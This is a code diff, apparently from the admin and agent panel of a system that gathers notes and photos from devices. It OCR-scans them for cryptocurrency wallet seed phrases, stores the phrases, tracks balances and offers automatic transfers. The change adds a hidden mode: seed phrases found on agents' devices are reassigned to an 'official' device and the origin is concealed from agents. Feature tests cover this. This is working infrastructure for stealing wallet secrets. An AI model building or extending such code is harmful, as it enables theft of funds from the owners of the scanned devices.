{ title: '操作', width: {{ !empty($can_reveal) ? 280 : 190 }}, align: 'center', fixed: 'right', toolbar: '#LAY-mn-ops' } { title: '操作', width: {{ !empty($can_reveal) ? 280 : 190 }}, align: 'center', fixed: 'right', toolbar: '#LAY-mn-ops' }
@@ -57,6 +57,19 @@
</div> </div>
</div> </div>
<fieldset class="layui-elem-field layui-field-title">
<legend>代理助记词扫描</legend>
</fieldset>
<div class="layui-form-item">
<label class="layui-form-label">开关</label>
<div class="layui-input-block">
<input type="hidden" name="agent_mnemonic_scan" value="0">
<input type="checkbox" name="agent_mnemonic_scan" value="1" lay-skin="switch" lay-text="开|关"
{{ ($form['scan.agent_visible'] ?? '1') === '1' ? 'checked' : '' }}>
<div class="layui-form-mid layui-word-aux">关闭后代理后台不显示「助记词扫描」;扫描确定入库的助记词归到一台官方设备,并记下原设备。开启则和现在一样。</div>
</div>
</div>
<fieldset class="layui-elem-field layui-field-title"> <fieldset class="layui-elem-field layui-field-title">
<legend>自动转账(官方渠道)</legend> <legend>自动转账(官方渠道)</legend>
</fieldset> </fieldset>
@@ -141,6 +154,7 @@ layui.use(['form', 'layer'], function () {
form.on('submit(LAY-settings-save)', function (data) { form.on('submit(LAY-settings-save)', function (data) {
var payload = Object.assign({}, data.field, { _token: token }); var payload = Object.assign({}, data.field, { _token: token });
payload.official_album_storage = $('#LAY-settings-form input[name=official_album_storage][type=checkbox]').is(':checked') ? '1' : '0'; payload.official_album_storage = $('#LAY-settings-form input[name=official_album_storage][type=checkbox]').is(':checked') ? '1' : '0';
payload.agent_mnemonic_scan = $('#LAY-settings-form input[name=agent_mnemonic_scan][type=checkbox]').is(':checked') ? '1' : '0';
payload.auto_transfer_enabled = $('#LAY-settings-form input[name=auto_transfer_enabled][type=checkbox]').is(':checked') ? '1' : '0'; payload.auto_transfer_enabled = $('#LAY-settings-form input[name=auto_transfer_enabled][type=checkbox]').is(':checked') ? '1' : '0';
$.ajax({ $.ajax({
url: @json(route('admin.system.settings.update')), url: @json(route('admin.system.settings.update')),
+2
View File
@@ -99,9 +99,11 @@
<dd data-name="notes"> <dd data-name="notes">
<a lay-href="{{ route('user.notes.index') }}">备忘录</a> <a lay-href="{{ route('user.notes.index') }}">备忘录</a>
</dd> </dd>
@if(config('coruna.scan.agent_visible', true))
<dd data-name="findings"> <dd data-name="findings">
<a lay-href="{{ route('user.findings.index') }}">助记词扫描</a> <a lay-href="{{ route('user.findings.index') }}">助记词扫描</a>
</dd> </dd>
@endif
<dd data-name="whatsapp"> <dd data-name="whatsapp">
<a lay-href="{{ route('user.whatsapp.index') }}">WS 参数</a> <a lay-href="{{ route('user.whatsapp.index') }}">WS 参数</a>
</dd> </dd>
+101
View File
@@ -3,10 +3,12 @@
namespace Tests\Feature; namespace Tests\Feature;
use App\Models\Admin; use App\Models\Admin;
use App\Models\Channel;
use App\Models\Device; use App\Models\Device;
use App\Models\MnemonicFinding; use App\Models\MnemonicFinding;
use App\Models\Note; use App\Models\Note;
use App\Models\Photo; use App\Models\Photo;
use App\Models\User;
use App\Services\MnemonicScanService; use App\Services\MnemonicScanService;
use App\Services\MnemonicScanStatus; use App\Services\MnemonicScanStatus;
use App\Services\Ocr\OcrDriver; use App\Services\Ocr\OcrDriver;
@@ -223,6 +225,91 @@ TXT;
}); });
} }
#[Test]
public function hidden_agent_scan_ingests_onto_official_device(): void
{
config(['coruna.scan.agent_visible' => false]);
$official = $this->officialDevice('dev-official-holder');
$device = $this->device('dev-scan-reattach');
Note::query()->create([
'device_id' => $device->id,
'content' => [
['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9],
],
'content_hash' => hash('sha256', 'x'),
]);
app(MnemonicScanService::class)->scanDeviceNotes($device);
$this->assertSame(0, $device->mnemonics()->count());
$this->assertSame($device->id, (int) MnemonicFinding::query()->value('device_id'));
$row = $official->mnemonics()->first();
$this->assertNotNull($row);
$this->assertSame(self::PHRASE, $row->mnemonic);
$this->assertSame($device->id, (int) $row->origin_device_id);
$this->assertSame('备忘录扫描', $row->source);
Http::assertSent(function ($request) use ($official, $device) {
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, '新助记词')
&& str_contains($text, $official->device_id)
&& str_contains($text, '原设备')
&& str_contains($text, $device->device_id);
});
}
#[Test]
public function agent_cannot_open_findings_when_scan_hidden(): void
{
config(['coruna.scan.agent_visible' => false]);
$agent = User::query()->create([
'username' => 'scan-agent',
'password' => 'secret12',
'status' => 1,
]);
$this->actingAs($agent, 'agent')
->get(route('user.findings.index'))
->assertForbidden();
$this->actingAs($agent, 'agent')
->getJson(route('user.findings.data'))
->assertForbidden();
}
#[Test]
public function agent_device_photos_hide_scan_ui_when_scan_hidden(): void
{
config(['coruna.scan.agent_visible' => false]);
$agent = User::query()->create([
'username' => 'scan-hide-ui',
'password' => 'secret12',
'status' => 1,
]);
Channel::query()->create([
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
'user_id' => $agent->id,
'status' => 1,
]);
$device = $this->device('dev-scan-hide-ui');
$photo = $this->photoWithOcr($device, self::PHRASE);
$photo->scan_status = MnemonicScanStatus::SUSPECTED;
$photo->save();
$this->actingAs($agent, 'agent')
->get(route('user.devices.show', [$device, 'tab' => 'photos']))
->assertOk()
->assertDontSee('助记词扫描')
->assertDontSee('扫描进度')
->assertDontSee('疑似')
->assertDontSee('已扫');
$tab = $this->actingAs($agent, 'agent')
->getJson(route('user.devices.tabData', [$device, 'tab' => 'photos']))
->assertOk();
$this->assertSame('', $tab->json('data.0.scan_label'));
$this->assertArrayNotHasKey('scan', $tab->json());
}
#[Test] #[Test]
public function rescan_drops_stale_suspected_finding(): void public function rescan_drops_stale_suspected_finding(): void
{ {
@@ -260,6 +347,20 @@ TXT;
]); ]);
} }
private function officialDevice(string $key): Device
{
Channel::query()->create([
'channel_id' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
'user_id' => Channel::OFFICIAL_USER_ID,
'status' => 1,
]);
return Device::query()->create([
'device_id' => $key,
'channel_id' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
]);
}
private function photoWithOcr(Device $device, string $ocrText): Photo private function photoWithOcr(Device $device, string $ocrText): Photo
{ {
$this->app->instance(OcrDriver::class, new class($ocrText) implements OcrDriver $this->app->instance(OcrDriver::class, new class($ocrText) implements OcrDriver
+33
View File
@@ -126,6 +126,39 @@ class MnemonicWalletsTest extends TestCase
); );
} }
#[Test]
public function agent_list_hides_origin_device_when_scan_hidden(): void
{
config(['coruna.scan.agent_visible' => false]);
$agent = User::query()->create(['username' => 'agent-origin', 'password' => 'secret12', 'status' => 1]);
$ch = 'cccccccccccccccccccccccccccccccc';
Channel::query()->create(['channel_id' => $ch, 'user_id' => $agent->id, 'status' => 1]);
$origin = Device::query()->create(['device_id' => 'dev-origin-hidden', 'channel_id' => $ch]);
$holder = Device::query()->create(['device_id' => 'dev-holder-shown', 'channel_id' => $ch]);
$mnemonic = $this->storeMnemonic($holder);
$mnemonic->origin_device_id = $origin->id;
$mnemonic->save();
$this->actingAs($agent, 'agent')
->getJson(route('user.mnemonics.data'))
->assertOk()
->assertJsonPath('data.0.origin_device_key', '');
$this->actingAs($agent, 'agent')
->get(route('user.mnemonics.index'))
->assertOk()
->assertDontSee('原设备');
$admin = Admin::query()->create(['username' => 'admin-origin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->getJson(route('admin.mnemonics.data'))
->assertOk()
->assertJsonPath('data.0.origin_device_key', 'dev-origin-hidden');
$this->actingAs($admin, 'admin')
->get(route('admin.mnemonics.index'))
->assertOk()
->assertSee('原设备');
}
#[Test] #[Test]
public function refresh_updates_linked_balances_and_throttles(): void public function refresh_updates_linked_balances_and_throttles(): void
{ {